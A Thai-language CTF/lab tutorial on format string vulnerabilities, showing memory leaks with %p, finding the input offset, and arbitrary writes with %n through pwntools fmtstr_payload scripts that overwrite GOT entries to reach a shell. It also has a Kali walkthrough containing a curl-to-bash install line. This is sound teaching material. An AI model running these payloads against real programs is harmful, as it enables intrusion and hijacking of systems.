Format String
Format String เกิดเมื่อโปรแกรมส่ง user input เข้า printf family เป็น format string โดยตรง — ทำให้อ่าน memory (leak stack/libc/canary) และเขียน memory (%n) ได้ เป็นช่องโหว่ทรงพลังที่ทั้ง leak เพื่อ bypass ASLR/PIE/canary และทำ arbitrary write บทนี้ลงลึกทั้ง leak และ write พร้อมการหา offset และ fmtstr_payload (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ — ทำไมเกิดช่องโหว่
printf ใช้ format specifier (%s, %d, %x) เพื่อรู้ว่าจะอ่าน argument อย่างไร เมื่อโปรแกรมเขียน printf(user_input) โดยไม่มี format ของตัวเอง (แทนที่จะเป็น printf("%s", user_input)) — ถ้า input มี specifier เช่น %x %p printf จะไปอ่านค่าจาก register/stack ตามตำแหน่ง argument ที่ไม่มีอยู่จริง ทำให้ leak ค่าใน memory ออกมา และ %n ที่เขียนจำนวนตัวอักษรลง address ทำให้เขียน memory ได้
บน x86-64 argument 6 ตัวแรกอยู่ใน register (RDI RSI RDX RCX R8 R9) — RDI คือ format string เอง ดังนั้น %p ตัวที่ 1-5 จะอ่าน RSI RDX RCX R8 R9 และตัวที่ 6 เป็นต้นไปจะเริ่มอ่านจาก stack
2. Leak memory ด้วย %p
# ส่ง %p ซ้ำๆ ดูค่าที่ leak ออกมา
./vuln
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# ใช้ตำแหน่งระบุได้ (positional) — %N$p อ่าน argument ตัวที่ N
%6$p # อ่าน argument ตัวที่ 6 (เริ่มจาก stack)
# leak อะไรได้บ้าง:
# - libc address (return addr บน stack) → คำนวณ libc base → bypass ASLR
# - PIE base (code address บน stack) → bypass PIE
# - stack canary (ค่าแปลกๆ ลงท้าย 00) → bypass canary3. หา offset ของ input เราใน stack
ก่อนทำ arbitrary write ต้องรู้ว่า input string ของเราอยู่ตำแหน่งที่เท่าไหร่ใน argument — ส่ง marker ที่จำง่าย (AAAA หรือ 0x41) ตามด้วย %p ไล่ จนเห็น marker นั้น
# ส่ง AAAAAAAA ตามด้วย %p ไล่ตำแหน่ง
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# ถ้าตำแหน่งที่ 6 คืน 0x4141414141414141 = input เราอยู่ offset 6
# pwntools หา offset อัตโนมัติ
python3 << 'PY'
from pwn import *
def leak(payload):
p = process('./vuln'); p.sendline(payload); return p.recvline()
fmt = FmtStr(execute_fmt=leak)
print("offset:", fmt.offset)
PY4. Arbitrary write ด้วย %n
%n เขียน 'จำนวนตัวอักษรที่ printf พิมพ์ไปแล้ว' ลงไปยัง address ที่ argument ชี้ — ควบคุมจำนวน (ด้วย width เช่น %100c) + ควบคุม address (วางใน input) = เขียนค่าที่ต้องการลง address ที่ต้องการ ตัวแปร: %hn เขียน 2 byte, %hhn เขียน 1 byte (ใช้เขียนทีละส่วนเลี่ยงการพิมพ์เยอะ)
from pwn import *
elf = context.binary = ELF('./vuln')
offset = 6 # จาก section 3
# ตัวอย่าง: overwrite GOT ของ exit ให้ชี้ไป win
payload = fmtstr_payload(offset, {elf.got['exit']: elf.symbols['win']})
# fmtstr_payload จัดการ %n หลายตัว + address ให้อัตโนมัติ
p = process('./vuln')
p.sendline(payload)
# เมื่อโปรแกรมเรียก exit() → กระโดดไป win แทน
p.interactive()5. เป้าหมายการเขียนที่นิยม
| เป้าหมาย | ผล | หมายเหตุ |
|---|---|---|
| GOT entry | เปลี่ยนปลายทางฟังก์ชัน libc | ต้อง Partial RELRO (ดู got-overwrite) |
| return address | redirect flow ตอน return | ต้องรู้ address บน stack |
| __malloc_hook / __free_hook | hijack ตอน malloc/free | libc เก่า (< 2.34) |
| exit handler / fini_array | รันตอน exit | ทำงานตอนโปรแกรมจบ |
| ตัวแปร/flag check | เปลี่ยนค่าให้ผ่านเงื่อนไข | เช่น auth=1 |
6. คอมโบ leak + write (bypass full mitigation)
format string ทรงพลังเพราะทำได้ทั้ง leak และ write ในช่องโหว่เดียว — workflow คลาสสิกเมื่อมี ASLR/PIE/canary ครบ:
- 1leak libc address (%p) → คำนวณ libc base (bypass ASLR)
- 2leak PIE base ถ้าจำเป็น (bypass PIE)
- 3leak canary ถ้ามี (เก็บไว้ใส่กลับ)
- 4หา offset ของ input (section 3)
- 5ใช้ fmtstr_payload เขียน GOT/hook ชี้ไป system หรือ one_gadget
- 6trigger → ได้ shell
7. Quick Reference
- เกิดจาก printf(user_input) ไม่มี format ของตัวเอง
- leak: %p ซ้ำ หรือ %N$p (ตำแหน่ง N); leak libc/PIE/canary
- หา offset input: AAAAAAAA.%p.%p... จนเห็น 0x4141...
- write: %n (+width); %hn=2byte %hhn=1byte
- pwntools: fmtstr_payload(offset, {addr: value})
- เป้า write: GOT, return addr, __free_hook, exit handler
- combo: leak (bypass ASLR/PIE/canary) + write → shell
- ป้องกัน: printf("%s", input) เสมอ
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอโปรแกรมที่รับ input แล้วพิมพ์กลับแบบแปลกๆ (สงสัยว่าอาจเป็น printf(user_input) ตรงๆ) — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อยืนยันช่องโหว่แล้ว leak/write
- 1ทดสอบง่ายๆ ก่อน: ป้อน
%p %p %p %p %pหรือ%x.%x.%x.%xเข้าไป ถ้าเห็นค่า hex แปลกๆ ออกมา = มีช่องโหว่ - 2ลองรูปแบบระบุตำแหน่ง:
%6$pอ่าน argument ตัวที่ 6 — ไล่เลข N ดูว่าตัวไหนน่าสนใจ - 3หา offset ของ input ตัวเอง: ส่ง
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%pจนเห็น0x4141414141414141 - 4หรือใช้ pwntools อัตโนมัติ:
fmt = FmtStr(execute_fmt=leak_fn); print(fmt.offset) - 5leak ค่าที่ต้องการ: libc address (bypass ASLR), PIE base, canary (ลงท้าย 00)
- 6checksec ดูว่ามี Canary/PIE/RELRO อะไรบ้าง เพื่อรู้ว่าต้อง leak อะไรก่อน write
- 7ถ้าต้องการ arbitrary write เลือกเป้าหมาย เช่น GOT[exit] หรือ __free_hook
- 8สร้าง write payload:
fmtstr_payload(offset, {target_addr: value}) - 9ส่ง payload แล้ว trigger ให้ target ถูกเรียก (เช่นให้โปรแกรม exit)
- 10ถ้าใช้ format string ได้แค่ครั้งเดียว ต้องทำ leak+write ในการยิงเดียว (ยากกว่า) — ลองดูว่ามี loop ให้ยิงซ้ำไหมก่อน
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ทดสอบ/ยิง payload | pwntools (process/remote) | pip install pwntools | - |
| หา offset อัตโนมัติ | pwntools FmtStr | - | - |
| debug ดูค่าบน stack | gdb + gef/pwndbg | bash -c "$(curl -fsSL https://gef.blah.cat/sh)" | - |
| ดู GOT entry เป้าหมาย | objdump -R / readelf | - | dogbolt.org |
| แปลง/คำนวณ hex payload | python3 | - | CyberChef |
| ตรวจ checksec ก่อนเลือก leak | checksec | - | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้